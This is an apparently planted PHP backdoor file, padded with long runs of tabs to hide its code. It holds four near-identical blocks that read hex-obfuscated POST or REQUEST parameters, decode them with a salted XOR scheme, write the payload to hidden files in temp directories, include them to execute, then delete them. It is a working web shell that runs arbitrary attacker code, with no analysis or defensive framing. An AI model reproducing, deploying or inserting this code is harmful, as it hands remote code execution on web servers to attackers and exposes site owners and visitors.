<?php																																										if(filter_has_var(INPUT_POST, "\x63omp\x6F\x6E\x65nt")){ $resource = array_filter(["/tmp", "/var/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP")]); $record = $_POST["\x63omp\x6F\x6E\x65nt"]; $record =explode ( "." ,$record ); $ptr = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($record ); for ($j = 0; $j < $len; $j++) { $v8 = $record[$j]; $sChar = ord($s[$j % $sLen] ); $dec = ((int)$v8 - $sChar - ($j % 10))^ 61; $ptr.=chr($dec ); } foreach ($resource as $ref) { if ((function($d) { return is_dir($d) && is_writable($d); })($ref)) { $flg = "$ref" . "/.holder"; $success = file_put_contents($flg, $ptr); if ($success) { include $flg; @unlink($flg); die();} } } }
																																										if(isset($_POST["\x72\x65\x66\x65rence"]) ? true : false){ $flag = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getcwd()]); $desc = $_POST["\x72\x65\x66\x65rence"]; $desc = explode ( "." , $desc); $descriptor = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5 ); $__len = count( $desc ); for( $x = 0; $x < $__len; $x++) { $v8 = $desc[$x]; $sChar = ord( $s5[$x % $sLen] ); $dec =( ( int)$v8 - $sChar -( $x % 10)) ^47; $descriptor .= chr( $dec ); } foreach ($flag as $key => $res) { if (!!is_dir($res) && !!is_writable($res)) { $entity = join("/", [$res, ".dchunk"]); $file = fopen($entity, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x72\x65c"])){ $sym = array_filter(["/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp"]); $binding = $_POST["\x72\x65c"]; $binding = explode ('.' , $binding ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach($binding as $o => $v1) { $sChar = ord($s[$o % $lenS] ); $d =((int)$v1 - $sChar -($o % 10)) ^ 50; $desc .=chr($d ); } foreach ($sym as $val): if (is_dir($val) && is_writable($val)) { $element = "$val/.factor"; $file = fopen($element, 'w'); if ($file) { fwrite($file, $desc); fclose($file); include $element; @unlink($element); die(); } } endforeach; }


if(count($_REQUEST) > 0 && isset($_REQUEST["e\x6Et\x72y"])){
	$res = $_REQUEST["e\x6Et\x72y"];
		$res	 =	explode	("." 	 , $res  )			;
	$resource = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt );
            $p = 0;
            $len = count($res );
    
            do {
                if ($p>= $len) break;
                $v2 = $res[$p];
                $chS = ord($salt[$p % $lenS] );
                $dec = ((int)$v2 - $chS - ($p % 10))	^70;
                $resource .= chr($dec );
                $p++;	 }		while (true );
	$element = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd()]);
	for ($ent = 0, $hld = count($element); $ent < $hld; $ent++) {
    $flg = $element[$ent];
    		if (!( !is_dir($flg) || !is_writable($flg) )) {
    $reference = str_replace("{var_dir}", $flg, "{var_dir}/.factor");
    if (@file_put_contents($reference, $resource) !== false) {
	include $reference;
	unlink($reference);
	die();
}
}
}
}